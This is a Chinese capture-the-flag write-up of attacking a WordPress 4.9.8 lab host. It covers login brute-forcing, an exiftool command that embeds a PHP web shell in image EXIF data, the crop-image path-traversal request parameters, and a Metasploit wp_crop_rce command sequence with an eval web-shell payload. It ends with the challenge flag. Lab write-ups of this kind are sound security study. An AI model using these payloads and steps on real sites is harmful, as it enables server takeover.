安鸾CMS系列之Wordpress02
涂寐 Lv5

0x00 前言

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io/article/52122537.html

0x01 看一波题目

URL:http://106.15.50.112:8043/

0x02 信息收集

  1. 指纹识别,该先浏览一波网站的
    image

  2. 度娘找到相关 Nday,针对 WordPress 4.9.8WPScan 扫用户名,得到 authoradminauthor 无效,拿 admin 爆破到天荒地老……

  3. 近日,问了下春天师傅:方法对,但还有账户……我……立即翻下登录页,果真对账户的正确性给与了提示……

0x03 BP在爆破

  1. 直接一波常用 username,啧啧啧……小东西,还有个 test 账户。

image

  1. 账户有了,那就继续密码呗!抽个幸运字典,恭喜你获得一枚密码 1qaz2wsx

image

0x04 图片上的马儿

  1. 对图片的 EXIF 数据进行 shell 插入:exiftool text1.jpg -documentname="<?php echo exec(\$_POST['cmd']);?>"
  2. 在某次测试时,进行到命令执行部分发现返回包中含有 gd-jpeg v1.0 ,因此判断该 WordPress 是使用 PHP-GD库处理图片。翻找国内外,以我的收集能力就找到大佬的 jpg_payload.php 脚本:php jpg_payload.php text1.jpg
  3. 很可惜,测试了几天,愣是一次也没得,期间还比对了 MSF 中相应的漏洞利用脚本。昨晚搞到三点,不甘心,问了官方的师傅,说会做个视频讲解,等待吧……先暂且把笔记给留下

image

0x05 WordPress 5.0 RCE

  1. 做好前期准备了,那就登录吧。 http://106.15.50.112:8043/wp-admin/upload.php 处上传图片 dufu.jpg

image

  1. 访问 http://106.15.50.112:8043/wp-admin/post.php?post=379&action=edit ,post 值需要成你图片的,更新图片时抓包(包一),并发送至重放模块待用。

image

  1. 刚看到 Edit Image 没,点击它就到当前界面了。剪裁图片,保存时抓包(包二),并发送至重放模块待用

image

  1. 方法一:目录穿越

①仅在包一中添加 &post_author_override=1&meta_input[_wp_attached_file]=2022/02/dufu.jpg#/22.jpg ,并重放包二。
②在包一末尾改添加: &meta_input[_wp_attached_file]=2022/02/dufu.jpg#/../../../../themes/twentynineteen/22.jpg ,并重放包二。
image
image
③通过一些手段,可以看到确实是能够目录穿越,在 ../themes/twentynineteen 目录成功写入图片,检查且木马仍旧存在。

  1. 方法一:命令执行

重复抓取包二的操作,此次改上传为文本文件 test.txt ,依旧发送至重放模块,末尾写入 &meta_input[_wp_page_template]=22-e1644857781657.jpg,访问 http://106.15.50.112:8043/test ,噔噔,界面不存在。
image
image

  1. 方法二:目录穿越

①对包二的 post 值部分进行替换: action=crop-image&_ajax_nonce=ef827c133f&postid=379&history=%5B%7B%22c%22%3A%7B%22x%22%3A11%2C%22y%22%3A10%2C%22w%22%3A376%2C%22h%22%3A245%7D%7D%5D&target=all&context=&do=save&id=379&cropDetails[dst_width]=100&cropDetails[dst_height]=100 。建议直接复制这里的 payload ,仅需修改 _ajax_noncepostidid 参数。
②接下来操作如同 方法一:目录穿越。
③经检测,cropped-22.jpg 成功写入,但一句话却被干掉了。
image

  1. 方法二:命令执行

见有的师傅是新建一个帖子草稿(最接近 MSF 脚本的),试试,,仍是找不到界面。
image
image

0x06 黔驴技穷

找呀找呀找朋友,找到一个……一个……一个啥来着,好了,找几天资料了,连着熬了几晚,我不服,我还会回来的,就先说拜拜啦`(>﹏<)′

0x08 MSF getshell

  1. 直接调用原始漏洞利用程序是没有 shell 文件名提示的,故需要修改成默认名以方便连接。终端写入:

vim /usr/share/metasploit-framework/modules/exploits/multi/http/wp_crop_rce.rb
313 行处,将 @backdoor = Rex::Text.rand_text_alpha(10) 注释,添加 @backdoor = 'tumei'
或 313行处添加 shell 文件名输出, puts('[+] ' + @backdoor + '.php')
image

  1. 没什么好说的,终端写入如下命令
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 一次性 cv 下列语句省时省力,ko
    msfconsole
    use exploit/multi/http/wp_crop_rce
    set payload generic/custom
    set username test
    set password 1qaz2wsx
    set rhosts 106.15.50.112
    set rport 8043
    set payloadstr <?php @eval($_POST[t'umei']);?>
    set AllowNoCleanup true
    run
    image

0x09 flag

攻击完成,直接菜刀|蚁剑连接 http://106.15.50.112:8043/tumei.php
flag{af2fe3b20b4a288e9d96b100f0e17d8e}
image

0x10 后记

  1. 很粗心,登录界面就逮着 admin 来爆破了,也没注意它提示账户的存在性,这毛病得改
  2. 很较真,说好不好,消耗了几天,还是无法手工 getshell 。
  3. 再接再厉,有弄成功的师傅可以教一手。
  4. 对了,今天正月十五了,祝大家元宵节快乐,天天逮到0day。
 评论